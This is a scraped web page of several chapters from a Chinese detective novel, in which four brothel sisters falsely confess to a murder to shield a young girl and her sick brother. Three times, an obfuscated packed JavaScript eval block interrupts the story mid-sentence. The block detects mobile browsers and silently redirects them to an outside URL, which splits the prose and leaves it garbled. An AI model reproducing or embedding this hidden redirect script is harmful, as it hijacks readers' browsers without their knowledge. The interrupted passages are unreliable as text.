阿春失神道:“龚公子托船夫来寻些娘子带去碎星湖,我本不想叫梦梦去的。但那时梦梦说自己也不好意思在我们这蹭吃蹭住却不干活,主动跟我说愿意去扮那蚌中仙。我思索良久,最终同意了。因为扮过蚌中仙,这世上再龌龊的事,就都不怕了。我觉得或许对梦梦是件好事……但我没想到最后会是这样的结果。” “得了吧!”雾山角大手一挥,道,“说什么‘思索良久’‘是件好事’,我看你呀,不过是贪图龚繁麟的钱财,所以才把从未接过客的于梦梦推了出去!” 雾山角的质问令阿春浑身一抖。 “不是的,不是的……我是真的后悔让梦梦去扮了蚌中仙。”阿春摇着头,眼里有了泪。 万仙目光如剑,刺在她身上。 “难道,”他顿了顿,说出了一个猜测,“难道是你在两日前的下午,扮作了蚌中仙,杀死了龚繁麟,替于梦梦报了仇?” 阿春垂下了头,承认道:“是的。龚公子是我杀的。” 王博多和雾山角没想到这么快就有人认罪,不禁面面相觑。 万仙则继续追问阿春:“你用什么杀了他?” “这个。”阿春抬起手,拔出了头上的一支发簪。 万仙注意到,那是一支刻有桃花样式的发簪,发簪越到尾端,两边越收紧,最终汇成尖锐的一点。虽不似针那般极端锋利,但若将这发簪使劲往人的血肉里扎,也保准扎出血洞来。 “姐姐……”鸢楚看到阿春坦白自己的罪行,虚弱地唤了她一声。 而她身旁的沉月默默低着头,流下了眼泪。 就在这时,向万仙展示凶器的阿春突然变换了眼色。她举起了那发簪,就朝万仙刺了过去。 “小心!”雾山角对着观察鸢楚和沉月的万仙大喊,立马抽出了不忍剑刺向阿春的手。 但他离阿春有点距离,再怎么快也来不及了。 那发簪直直地刺向了万仙的胸膛! 万仙的确没想到阿春会对自己发起袭击,但好在他反应迅速,一个抬手,用他的折扇抵挡住了发簪的攻势。 发簪被扇子弹开,“叮!”的一声,掉在地上。 雾山角赶紧收住手。 反而是王博多惊魂未定地尖叫着“仙儿哥”,冲过去一把顶开了失手的阿春。 阿春摔了一个踉跄,跌坐在地。 “公子不仅聪慧,伸手还敏捷呢。”阿春笑道,“比龚公子强多了。” 说完,她边笑边哭了起来。 可还未等她平复好这复杂的情绪,又一个声音在门口响起。 “龚公子不是阿春姐杀的!”阿夏站在厢房门口,咬了咬嘴唇,摘下了自己头上的发簪,嚷道,“龚公子是我杀死的。那天去扮蚌中仙的人是我!” “阿夏姐,你在说什么!”她身旁的阿秋拽了拽她的衣袖,对着雾山角嚷道,“这位大人……那天去碎星湖上的其实是我。杀死龚公子的也是我。”说着,她指了指自己头上与两位姐姐一样的发簪,“你要逮捕,就请逮捕我吧。” “够了!”这时,闻讯而来的阿冬也取下自己头上的发簪,站了出来,“三位姐姐,我知道你们舍不得将我供出来。但我不能让你们这些无辜的人坐牢。大人,龚公子其实是我杀的!是我要为梦梦妹妹报仇,所以才杀了他!” 这四姊妹是在干嘛?雾山角和王博多再次面面相觑。 一旁的万仙倒是镇定。他仔细地检查着他的折扇扇,确认扇子完好无损,才慢悠悠地将它重新打开,扇起风。 “这案子,倒是有趣起来了。”他嗤笑一声,兴致盎然地说道。 20.第二案:蚌中仙05 后来,雾山角证实了两件事。一是他和万仙、王博多去了于梦梦的墓地,确认了于梦梦的死并非谎言。二是他找仵作证实,龚繁麟身上的伤,的确是被那桃花样式的发簪所戳刺出来的。 但这发簪,簪翠台的姐妹全都有。每个人的发簪上面都已无血迹,所以无法判断到底是哪支成为了真正的凶器。 不过四姊妹既然争着认罪,雾山角就先将她们关进了大牢。 入狱后,她们被分开审讯,但她们的说辞十分相似—— 十日前,于梦梦去碎星湖上扮完蚌中仙后,失魂落魄地回到了簪翠台。众人并未在意她低迷的情绪,以为她过一晚就好了。谁知道,当天晚上,于梦梦就寻了根绳子,在厢房上吊自尽了。 发现于梦梦尸体的是小菩。他那时已经感染了风寒,加上惊吓过度,便一病不起。原本他这种被人称为小野狗的孩子,是被分在柴房里住宿的。但看他病到昏迷,众人也不管什么忌讳不忌讳了,将他移到了相对暖和的于梦梦的厢房里。 他的阿姐沉月日日陪他,免得他哪时突然醒来,发现自己在死了人的房子里,又重新吓出病来。 “那为何不干脆移他去别的房间?”雾山角问她们。 “别的房间要接客,要给‘有用’的孩子住……”她们回答。 雾山角却戳破道:“你们是怕他熬不过这关死掉吧?反正厢房死了个于梦梦,已是晦气之所,再死个无足轻重的小孩,也没关系吧。” 他的话让她们哑口无言。 万仙见问话卡住,赶紧道:“我们还是继续听听后来发生的事吧。” 于是四姊妹各自继续说起来,但说辞依旧相似—— “于梦梦虽是今年才来簪翠台,却深得我们四姊妹的喜欢。我没想到,她扮了一次蚌中仙就受辱自尽。于是我开始对那日邀约她的龚公子心怀恨意。我也很想知道,那日在碎星湖上,他到底对于梦梦做了什么,让她如此难以忍受?四日前,我听说龚公子在找娼妓再去碎星湖上扮蚌中仙,就私下联系了船夫,给了船夫一点好处,让我再次成为了扮蚌中仙的那位女子。” “等等,‘再’?”雾山角问,“你之前就去给龚繁麟当过蚌中仙?” “是的,我们之前都去给他当过一次蚌中仙。”在各自审讯室里,四姊妹都这样回答,“两日前,我按照约定,来到了碎星湖,被船夫带到了龚公子所在的芦苇岛上,再次扮演蚌中仙。龚公子一脸期待地打开了蚌壳。见到是之前玩弄过的女人,他有些生气。而我拿出了发簪,逼问他,他到底对梦梦做了什么。龚公子却根本不在乎我的发簪,觉得它可杀不死人。不仅如此,他还调戏我说,今日就让我也体验体验梦梦当日的经历。他的话一下子惹怒了我,我就拿起发簪戳死了他!” “你戳在了哪里?” 四姊妹都明确地说:“我戳在了他的喉咙,他一下子就死了。” “然后呢?” “然后我又在他的身体上,戳了五下。” “这是为何?” “为了泄愤!”四姊妹都这么说,“杀完人之后,我用碎星湖的湖水将染血的发簪洗净,重新插回了头上。” “那你是怎么离开那芦苇岛的?” “我是坐船走的。”四姊妹每个人道,“船夫来接我们回去。我告诉他,龚公子累到睡着了,让他待会儿再来接,先把我送回去。船夫不疑有他,就先送我离开了。” “回去之后,你杀害了船夫吗?” 面对这个问题,四姊妹都表示:“没有!我只杀了龚公子!” “那船夫后来去了哪里?他后来回去接龚繁麟,应该目睹了尸体,他为何不报官?” “这我就不知道了。” 四姊妹的回答只有一些字词上的差别,意思完全一样。 雾山角犯了难:“我已经严厉告知过她们,干扰查案罪加一等,谁知她们每个人竟咬口不放,仍坚持人是自己杀的。”说完他无奈地叹了口气。 万仙则摇着扇子,提醒道:“可不要小瞧这些女人。” “仙儿哥,你觉得她们这么明显地提前串供,到底是为了遮掩谁?”王博多头疼地问。 万仙合起扇子,抵在额头,思索片刻。 “你们说,有没有一种可能,龚繁麟是她们一起杀的?” “啊?” “龚繁麟的尸身上有六个血洞。而簪翠台里接客的娼妓有六个……”万仙喃喃道。 王博多本就因为四姊妹串供而锁定不了凶手,听万仙这样说,脑子更是稀里糊涂的。 “仙儿哥,你这话是什么意思?”他追问道。 万仙道:“说不定那天,除了死去的于梦梦,簪翠台的其他五位——包括鸢楚,都上了那芦苇岛。” “啊?”王博多震惊地瞪大双眼。 雾山角却抱着双臂点点头:“若龚繁麟真是个爱玩的主,那么他的确可能召集多名娼妓去岛上一起玩乐。” “也有可能是阿春她们自己提出来的。”万仙说,“她们一起上岛,各个扮作蚌中仙,与龚繁麟玩乐。然后她们其中一位,趁龚繁麟意乱情迷时,拔下自己的发簪,率先戳死了他。戳死他后,其他四位,拿自己的发簪在尸体上各戳了一下。” “你是说她们为了于梦梦,一人杀了龚繁麟一次?” “也可能是为她们自己。她们每个人都去给龚繁麟扮过蚌中仙。说不定,之前她们也遭到了龚繁麟过分的对待,只是迫于生计,暂时忍了下来。现在,于梦梦的死,让她们有了理由去泄愤。” “但是仙儿哥,你别忘了,除了喉咙处的致命伤,尸体身上可是有五处血洞。” “那最后一处,自然是替于梦梦扎的。”雾山角接话道,“说不定是她们五个,一起握着发簪扎了下去。” 闻言,王博多脑海里浮现起众人握着发簪对着尸体刺下的画面,不禁震撼地呲了呲牙,感慨道:“这要是写成话本,说不定会成为传世经典呢!” “你就别点你仙儿哥了。”雾山角道,“眼前的案子才是最要紧的。” 王博多瞪了雾山角一眼,但见万仙认真地点点头,最后还是悻悻地闭了嘴。 然后他听到雾山角问万仙:“万仙兄,若按你的这个推测,四姊妹包庇的其实是鸢楚姑娘?因为鸢楚姑娘是后来加入簪翠台的,她们不想连累她?” “如果单纯是包庇鸢楚姑娘一个人,她们完全可以说她们四个一起杀的人。”万仙道,“她们之所以各个坚持自己才是唯一的杀人凶手,可能是想替其他姐妹也抗下这罪责。” 雾山角点点头。 万仙却又道:“不过我仍得提醒一下,以上也只是我的胡乱猜测。我们目前没办法确认哪支发簪是真正的凶器,也没有其他人证物证可以佐证我的猜想。” 雾山角揉了揉胀痛的太阳穴,只觉得这云里雾里的案子,使自己的头越来越大。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053285|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他见过争着给自己洗脱嫌疑的疑犯,却从未见过这么多人争着要承认自己是凶手的! “看来我们要再去问问鸢楚姑娘。”许久,雾山角才语带杀气地说道。 当时,他们在簪翠台被四姊妹的争先恐后吸引了所有注意力,未对鸢楚刨根问底。 现在把目光重新投回鸢楚身上,雾山角才开始担心,若四姊妹包庇的是鸢楚,那么鸢楚说不定已经逃离了凌洛城。 不过众人匆匆赶回簪翠台后却发现鸢楚并没有落跑。 四姊妹入狱后,她便独自照料起了簪翠台的孤儿们。 很多孩子并不清楚四姊妹为何被官府的人带走,却也敏锐地察觉到簪翠台风雨欲来,各个比以往还要乖巧。 万仙再次见到他们时,男孩们正在擦桌拖地,女孩们正循着前日的记忆练舞。 鸢楚则带着沉月给生病的小菩煎药。 发黄的蒲扇摇曳着,搅动一缕缕的风。风夹带药香扑到王博多鼻尖,令他打了个喷嚏。 喷嚏声惊动了鸢楚和沉月。她们转过头来,看到万仙、雾山角和王博多,不由一愣,然后又快速地站起身来。 “姐姐她们……还好吧?”鸢楚问雾山角。 “你的姐姐们各个坚持是自己杀了龚繁麟,可这一听就知道是提前串通好的,”雾山角冷言道,“她们如此干扰我们查案,你觉得她们能好吗?” 鸢楚脸上闪过担忧的神色,沉月则握了握她的手。 这时万仙用柔和的语气问鸢楚:“那么鸢楚姑娘,你可知道出事那日下午,你那四位姐姐,身在何处?” “我若说她们都在簪翠台,就说明她们都没有办法在碎星湖上犯案,对吧?”鸢楚的目光对上万仙如深渊的双眸,声音轻飘飘地道,“可事实上,我并不知道那日下午她们人在哪,因为那时我去陪客人了。” “哦?你那日陪的客人是谁?” 鸢楚踌躇道:“将客人的姓名供出来……不太好吧?” “想来也是,来找你们花天酒地的客人,怕是不想被他人知晓身份。”万仙道,“可是这就没办法证明,鸢楚姑娘刚才说的‘不知道’是不是真的,我们也无法知道,你那日是不是真去陪了客人。” “你们怀疑是我杀了龚公子,姐姐们自首是为了包庇我?”鸢楚嚷道。 万仙不置可否。 鸢楚身旁的沉月闻言也急了,赶紧道:“公子,鸢楚姐姐是不会杀人的。” 万仙转头把目光落到这个眉清目秀的女孩身上,只见她抿了抿嘴,低下头去。 就在这时,鸢楚重新开了口,拉回了万仙的目光。 “虽然我不好透露客人的姓名,但我可以告诉你们,事发那日的下午,我去了哪里。” “还请姑娘如实告知。”万仙道。 鸢楚咬了咬嘴唇,说:“那日下午客人请我去‘梦华台’看了戏,戏名叫《焚天记》,讲的是书生,为救落魄少女,杀死恶霸,成为英雄的故事。戏楼的小厮应该看到过我进出。” “我们会前去好好调查的。”雾山角对鸢楚说完,转头问沉月,“那你可知道那日下午,春夏秋冬四姊妹人在何处?” 沉月抠着自己的手指,一问三不知地摇了摇头。 于是万仙关怀了几句她弟弟的病情。 得到“略有好转”的答复后,他才和雾山角,带着王博多离开了簪翠台,去调查鸢楚所言是否属实。 21.第二案:蚌中仙06 很快,万仙三人就在梦华台戏楼找到了事发当日目睹过鸢楚会客的小厮。 他说,那日戏楼演的戏,确实是《焚天记》。 戏开场前,鸢楚姑娘独自进入了二楼的包厢,那包厢早有一位男客人等候。鸢楚与那位男客人一直看到此戏落幕才离开。那时已是傍晚时分,小厮还曾上前给鸢楚推荐过餐食,但是鸢楚以自己身材走样为由,拒绝了。 因为鸢楚长相精致秀美,说自己太胖了时的娇嗔语气让人酥软,所以小厮清楚地记得她。 而仵作验尸的结果表明,龚繁麟死在那日下午,所以鸢楚确实没有作案的时间。 “好嘛,又走进了死胡同。”王博多挠破了头,问万仙,“仙儿哥,那我们接下来怎么办?” 谁知万仙转头就问雾山角:“雾山兄,你有何打算?” “既然我们排除了鸢楚姑娘的作案可能,那么……不如我们就试试看看,能否一一排除其他四姊妹的作案可能。”雾山角道,“如果有人那日下午在凌洛城内遇到过她们当中的谁,就能将她的谎言戳穿。” “果然还是要如大海捞针般地走访吗?”王博多一想到自己要跑断腿,就想眼睛一闭晕过去。 万仙拿起折扇把他敲醒,道:“你真以为办案很有趣?” “但我没想到要这么辛苦啊!”王博多嘴上嘟囔着,双脚却已迈开了步子。 走访的确是件枯燥又累人的事。 有些人听闻他们在查案,会凑上来听听热闹,甚至会胡诌几句,吸引他们的注意,待到他们认真询问,好事者则又摆摆手说自己刚刚只是在开玩笑,然后一溜烟地跑了; 有些人则知道他们查的案件与簪翠台的姑娘有关,于是用龌龊的语言轻薄几句,然后事不关己高高挂起地离开; 更多人则根本回想不起几天前的下午自己在干什么,更别说回忆起当时曾见到过谁了…… 好在谋事在天,成事在人。后来三人分头走访,还是有了收获。 首先,万仙戳穿了阿冬的谎言。 那天下午,阿冬根本不可能去碎星湖,因为那时她人在一座寺庙里。她给死去的于梦梦点了油烛,还给四姊妹和鸢楚供了莲花灯祈福。寺庙门口,卖油烛和莲花灯的阿婆,眼神炯炯地回忆起了这件事。 “我跟你说啊,阿冬姑娘我早就认识了,我知道她在干什么营生……她来庙里礼佛,也是因为知道自己干的事情不好吧,想要佛祖保佑她和她那几个下三滥的姐妹。”阿婆语气鄙夷道,“而且她这人贼抠门,你说她天天跟男人上床,赚了那么多钱,怎么连礼佛的器物都要跟我讨价还价半天。所以我当然记得她……” 说完,她瞄了一眼寺庙门内的佛像,立马轻轻地掌了一下自己的嘴:“哎哟,在佛祖面前我怎么能说这些下三滥的事哦。” 万仙没理会她的表演,而是一脚踢翻了她身边的篮子。 “哎哟,你干嘛呀!看你文质彬彬的,怎么做人这么坏啊?!”阿婆大叫起来,赶紧蹲下身子,把从篮子里滚出来的莲花灯拾起来。 那些莲花灯的灯芯都有燃烧的痕迹。它们皆是香客点完灯离开后,阿婆立即偷偷收回准备换芯再卖的。 阿婆知道自己的计量被识破,一边心虚地手忙脚乱收拾,一边在心里嘀咕,这人是怎么察觉到我投机取巧的? 待她收好莲花灯再转头,就见那面如冠玉的公子扇着扇子,气定神闲地冲着她露出一个灿烂到发邪的笑容。 “我下次再来。”他笑眯眯地说。 阿婆浑身一抖,道:“公子,公子,我再也不敢了,您下次就别来了,别来了……” 与此同时,在另一头调查的雾山角戳穿了阿秋的谎言。 一家衣铺的老板表示,那天下午,阿秋正在店里盯着他做衣裳。老板本来是不喜欢别人盯着自己干活的,奈何阿秋撒娇说自己想学学老板的手艺,以后容颜老去还能讨口饭吃,老板心一软就答应了。 “阿秋姑娘真是美艳动人,”面对雾山角的询问,老板伸出手,竟有几分炫耀似的道,“被她盯着做衣裳,我这位老手都紧张得失了几次手,还不小心让针戳了几个口子呢。” 说完,他抬眼望了一下里屋,又小声地对雾山角道:“这事你可别对我那婆娘说。” 雾山角冷冷地笑了一下,一言不发地带着自己要到的消息离开了衣铺。 王博多那边后来也有了收获,他戳穿了阿夏的谎言。 王博多走了一大圈都没遇到提供有效情报的证人,于是决定回簪翠台等万仙和雾山角。结果刚到簪翠台门口,就有一名男子冲了过来,逮着他问:“你是不是衙门的人?” 王博多吓了一跳,差点尖叫出身,结果就见男子突然开始哭泣。 “我听说阿夏被你们官府的人带走了?你们能不能放了她?” 原来是个痴情男子? 王博多上下打量这名男子,只见他抹了抹脸上的泪,又开了口。 “我听说你们怀疑阿夏跟龚家公子的死有关,我也听闻你们在问他出事那日有人是否见过她们四姊妹……”男子激动道,“其他几位那日下午我没见过,但阿夏我是见过的。” 王博多眼神一动,急忙问道:“那日下午,阿夏跟你在一起?” 男子扭捏了半晌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057009|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才不好意思道:“那日下午,她跟别的男人在一起。但我偷偷跟踪过他们俩,所以阿夏不可能去什么碎星湖杀人的……真的,你要相信我……求求你们放了阿夏吧……我没钱找她消遣,但我是真心爱她的,你要是愿意帮我把这心意告诉她,小弟我更是会感激不尽的……” 王博多皱眉,道:“我怎么知道这不是你为了帮阿夏洗脱嫌疑,故意编造的虚假证言?” 男子愣了愣,说:“我若是真要说谎,直接编造她跟我在一起不就得了?何必要扯上别人呢?你若仍不信,我可以告诉你与阿夏幽会的男人是谁……” 王博多觉得他说得不是假话,但仍打听了那男人的姓名。 待万仙和雾山角回来后,他们一起去找到了这个男人。 那男人顾左右而言他了半晌,最终面对小师爷的不忍剑,还是坦白,他的确在那天买了阿夏一下午。 他的妻子闻言,举起菜刀就冲了出来。 之后,是好一阵鸡飞狗跳。 万仙举扇遮脸,领着心惊肉跳的王博多赶紧开溜,留下雾山角这位“清官”,断了半天这一滩烂泥似的“家务事”。 三人再次集合,已是傍晚。 阿冬、阿秋、阿夏的谎言都被戳破,唯独阿春那日的行踪仍不明朗。 “难道真是阿春杀的龚繁麟?”藏乐楼清寒夜里,王博多托着腮道,“可其他人为什么非要说谎,把罪责往自己身上揽呢?她们不想让阿春认罪坐牢?” 万仙沉思片刻,猛地一抬头。 “或许阿春也有不在场的证明,只是我们还未找到罢了。” “哦?”王博多不解,“那她们串通一气,到底要保护谁?” “现在簪翠台里除了四姊妹和鸢楚,还有谁?”万仙道。 雾山角把喝到一半的茶,往桌子上一放,道:“你是说……” 他震惊的话还没说完,就听清寒夜门口响起了“砰砰砰”的敲门声。 王博多一个跳跃,将门打开,只见衙门的一位差役闪身进了门。 “小师爷,有事禀报。你派我们守的人有情况。” “你派他们去守谁?”王博多好奇地问。 万仙提溜起一个杯盖,盖到雾山角未喝完的那杯茶上。 他替雾山角回答:“当然是你之前有所怀疑的那个人。” “你是说龚繁麟的妻子,宁婉莹?” 万仙和雾山角齐齐点头。 王博多闻言,立马一拍手,志得意满道:“我就说吧,我就说吧,她肯定有问题!” 说罢,也不等万仙和雾山角动身,他就急急地跳出了门去。 22.第二案:蚌中仙07 月亮爬上穹宇,星星便像从它身体剥离开来的碎片,洒在黑暗中,倒影在人间的湖面上。 微风拂过湖面,荡漾起涟漪,这一点点的星光便顺势成为了微微发亮的漩涡,搅动着来人的心绪。 宁婉莹披着暗棕色的毛绒披风,站在湖边心神不宁地等待着。 终于,湖边的丛林里响起一阵脚步声。 “宁夫人,久等了。” 一个留着胡子的精瘦老头,一脸谄媚地奔到宁婉莹身旁。他正是之前在碎星湖上靠撑船营生的船夫,蔡大富。 “蔡大富,你真是疯了,还敢差人送信给我,让我出来见你?你不知道官府的人还在查龚繁麟的案子?”宁婉莹见到他那张猥琐的脸,便来了脾气,骂道,“你是想害死我吗?” “宁夫人,我们现在是一根绳上的蚂蚱,我怎么会想害死你呢!”蔡大富道,“只是这东躲西藏的日子着实辛苦,我想再让宁夫人帮衬帮衬!” “我上次给了你那么多银两,都哪里去了?” “男人嘛,花天酒地很正常。”蔡大富嘿嘿一笑,“不过你不用担心,我特地跑远了才去玩的。” 他的语气里竟还有些得意,宁婉莹恨不得用吐沫淹死他。 “所以你这次找我,是想再要钱?”她冷冷地问她 “宁夫人,我可是帮你杀了人的。你之前那点银两,的确是太少了点!”蔡大富出尔反尔道,“你再给我一份与上次同等份的银两,之后我便远走他乡,再也不来找你了!” 忽然,宁婉莹沉下脸来:“龚繁麟真的是你杀的?” 蔡大富吞了吞口水,道:“不然还能有谁?” “那为何我公公请来调查的万仙和衙门的小师爷,抓的是簪翠台的娼妓?” “那我怎么知道。”蔡大富眼神飘忽了一会儿,忽然坚定道,“宁夫人,你夫君的确是我杀死的。那日下午,我将服侍他的娼妓送回岸后,就回去将他刺死了。” “用什么刺的?” 蔡大富怒道:“这你就不用管了。你赶紧把钱给我,这荒郊野岭冷死了……宁夫人你怀有身孕,恐怕也不好在此地久留吧?” 宁婉莹知道蔡大富这是在转移话题,于是追问道:“龚繁麟不是你杀的,对吗?” “宁夫人,你为何就是不肯相信我?”蔡大富烦躁起来。 但宁婉莹坚持自己的猜测,冷言道:“你没完成我交予你的差事,还敢收我两次钱?” “那又如何?”蔡大富见宁婉莹这副模样,便也不装了。他昂着头,威胁道:“你说,是不是你察觉丈夫偷偷去与‘蚌中仙’寻欢作乐,所以指使我去谋害他?这事要是被官府的人知道,被龚家的老爷知道,你还能锦衣玉食地住在龚家吗?宁夫人,莫要因小失大。区区那一点银两,又怎能比得上你们母女的荣华富贵呢?” 他指了指宁婉莹隆起的大肚子。 宁婉莹抚住自己的肚子,阴鸷的目光在蔡大富身上逡巡。 末了,她才无奈地叹了口气,掏出了一个荷包。她将荷包里的一小块黄金倒了出来。 “拿着这个,以后别再来向我索要了,不然别怪我最后同你鱼死网破!” 蔡大富没想到自己来讨银两竟讨到黄金,立刻喜形于色,弯着腰将手伸了过来。 “宁夫人,我怎么会让你同我鱼死网……”他的话还未说完,宁婉莹就突然扯下了自己的披风,朝着蔡大富扑了过去。 蔡大富注意力全在那金子上,见到宁婉莹突然换了动作,一时没反应过来。下一瞬,他的脸就被披风蒙住,膝盖也被狠狠地踢了一下,痛得他跪倒在地。 他挣扎着想爬起来,却发现自己的脑袋被宁婉莹压着,狠狠地摁进水里。 这女人不是身怀六甲吗?为何疯起来有这般大力? 蔡大富呜咽着,扑腾着双手,但宁婉莹发着狠,根本不让他的脑袋从湖边离开。 “宁夫人。”忽然,一个富有磁性的声音如鬼魅般在宁婉莹耳边响起。 宁婉莹吓了一跳,松开了摁压蔡大富脑袋的手,转头望去。 雾山角不知何时飞掠到了她的身后。此刻,他正抱着不忍剑,眼神犀利地回看她。 “宁夫人,你发起狠来,也是不管不顾。你也不怕动了胎气?”他像是在开玩笑地说。 宁婉莹知道自己已经暴露,顿时没了力气,落魄地跌坐在地。刚刚湖畔的水混着泥,溅了她一身,让她显得更加狼狈不堪了。 而这头,从鬼门关走了一遭的蔡大富终于扯开了蒙在脸上的披风,贪婪地喘着粗气。 不过,当他看到雾山角时,顿时浑身一震,立刻准备跃入水中落跑。 蔡大富做船夫多年,与水打了半辈子的交道,若真跃入水中,怕是难逮到他。于是雾山角手一运力,让不忍剑出了鞘。 “你敢逃试试!”在蔡大富跃入水中之前,他将剑抵在了他的喉咙。 “大人饶命!大人饶命!”蔡大富赶紧大声求饶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064588|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你替宁婉莹杀人灭口,你觉得你这命还能有多长?”雾山角的声音冷得如冰铁。 蔡大富心头悚然,急忙道:“大人,大人,宁夫人指使小人杀夫不假,但……真正杀了龚公子的,不是我。” 宁婉莹哑然失笑,喃喃道:“所以杀了龚繁麟的,是那日的娼妓?这畜生到底在碎星湖上干了何等龌龊的事,连娼妓都无法忍受?!” “客官们在碎星湖上如何与扮演蚌中仙的娼妓玩耍,小的不知,也不想知……”蔡大富颤抖对雾山角道,“但大人,龚公子确实是娼妓所杀。那日我等了许久,没等来龚公子招呼我划船过去接他,于是心怀疑虑地擅自登上了那座芦苇岛。结果一到岛上,我就闻到了血腥味。再往里一探,我就看到龚公子被人戳死了。我吓了一跳,四处寻找那小姑娘,结果根本没有她的踪影,我就知道她铁定是杀完人后潜入水中溜走了。那时我虽答应了宁夫人杀人的请求,却还在犹豫要不要真的动手,见到有人率先杀害了龚公子,我便决定以此来欺骗宁夫人,赚点小钱。大人你一定要相信我啊,我的确鬼迷心窍骗了宁夫人的钱,但绝对没有真的杀人啊……” “你说,那日去岛上的,是个小姑娘?”雾山角面罩寒霜地挑出重点问道,“不是簪翠台的四姊妹,也不是鸢楚姑娘?” “簪翠台的四姊妹和鸢楚姑娘我是知道的。她们之前去碎星湖服侍龚公子时,也是由我接送的。但那日去岛上的并不是她们其中一位,而是一个年纪、身型都更小一些的姑娘。那小姑娘眉清目秀,也颇有几分姿色。前几日,我正替龚公子寻找娼妓,那小姑娘不知从何处打听到我,独自来找我,说自己也想去当蚌中仙赚取钱。我见她年纪小,本想拒绝的,但是她说愿意跟我对半分酬劳,我就……我就答应了下来。”蔡大富唉声叹气道,“早知道她会捅出这么大的娄子,我是打死也不会让她上岛的。哎,那孩子还是太单纯了,以为自己能应付得了那些龌龊的男人,最后却发现自己根本无解忍受他们的玷污,所以她才会杀了龚公子,然后逃走吧……” 听完蔡大富的叙述,雾山角脑海里浮现一张熟悉的、眉清目秀的脸。 不知为何,他感觉自己的喉咙干涩,声音也变得沙哑了起来。但他还是问出了那个问题:“你知道那姑娘叫什么吗?你再见到她,可还认得出她来?” “我应该能认得出她来……我也记得她的名字,她说她叫小月。” 小月。沉月。 果然是她。 23.第二案:蚌中仙08 与此同时,簪翠台,于梦梦曾经的厢房内。 鸢楚握着沉月的手,道:“小月,你阿弟的病已有好转,应该能撑得住离开凌洛城。你和他赶紧逃吧。不能再耽搁下去了……姐姐们只能帮你撑到这里了……” “鸢楚姐姐,对不起,连累你们了……”她扶着阿弟小菩,作势要跪下。 鸢楚拦住了他们。 “别再搞这些没用的,赶紧走吧!”鸢楚将他们推出门去。 可是房门一打开,他们都愣住了。 月光下,万仙正依在廊柱上,扇着那把纯白的扇子赏月。王博多则百无聊赖地环抱双臂站在他身旁——他本来是要去逮宁婉莹的,结果万仙追到他身旁,耳语了几声,他便同他来了这里。 此刻,听到开门声,他和万仙侧过脸来,目光如箭般射向从屋里走出来的人。 “离别的戏码演完了?”王博多挑了挑眉毛,问道。 “两位公子,这么晚了,是来找我吗?”鸢楚从沉月身后走出,脚步轻盈,姿态曼妙,语带撒娇,“你们神不知鬼不觉地站在人家门口,可着实吓人呢。” “鸢楚姑娘,我们此番前来不是来找你的。”万仙开门见山道,“我们一直很想知道,为何簪翠台的四姊妹会争先恐后地自首。现在我大概猜到了其中缘由。” “哦?”鸢楚努力让自己面色不虞,但这一声“哦?”里已有了恐惧之意。 万仙沉吟片刻,道:“我猜,四姊妹之所以串供撒谎,是想让我们去调查她们各自的不在场证明吧?要调查龚繁麟被害那日下午她们身处何处,可是花了我们不少功夫。即便是现在,我们也只排除了三个人的嫌疑……但我猜,只要我们继续查下去,阿春的嫌疑也会被洗清。” “姐姐她们,为何要这样做呢?”鸢楚道。 “鸢楚姑娘,你就别装作什么都不知道了。”万仙缓缓地说,“她们这般扰乱我们查案,自然是为了拖延时间。” “拖延时间有何用?” “你看,小菩这两天的气色不就好起来了吗?”王博多指着沉月扶着的阿弟,道,“龚繁麟是沉月杀的吧?沉月为了躲避追查,理应尽早离开凌洛城。可是她担心生病的阿弟,所以坚持不走。而得知沉月杀人的你们,无奈之下,才想出了现在这个诡计:由四姊妹自首,拖延时间,让小菩有时间将身体养得再好一点,免得舟车劳顿,死在半路上。而鸢楚姑娘,你之所以没有跟着四姊妹主动来扰乱我们查案,也是因为簪翠台里,只有你懂医术,留你在此,可以为小菩治病。而且簪翠台也需要留一个能管事的大人,不是?” 说完,王博多挺起了胸膛,得意地瞄了一眼万仙。 万仙不动声色地扇着扇子,幽然一笑。 而这头,鸢楚赶紧道:“两位公子,我想你们肯定是搞错了。沉月是不可能杀人的。” “那她今晚为何要逃走?”王博多盛气凌人地问道。 “我之前自大地以为自己医术了得,就擅自给小菩治病。这些天,小菩虽气色好转,却迟迟不能好全,我只好让沉月带着他去别处瞧瞧。” “深夜寒风瑟瑟,小菩的身子,受得了吗?”万仙问。 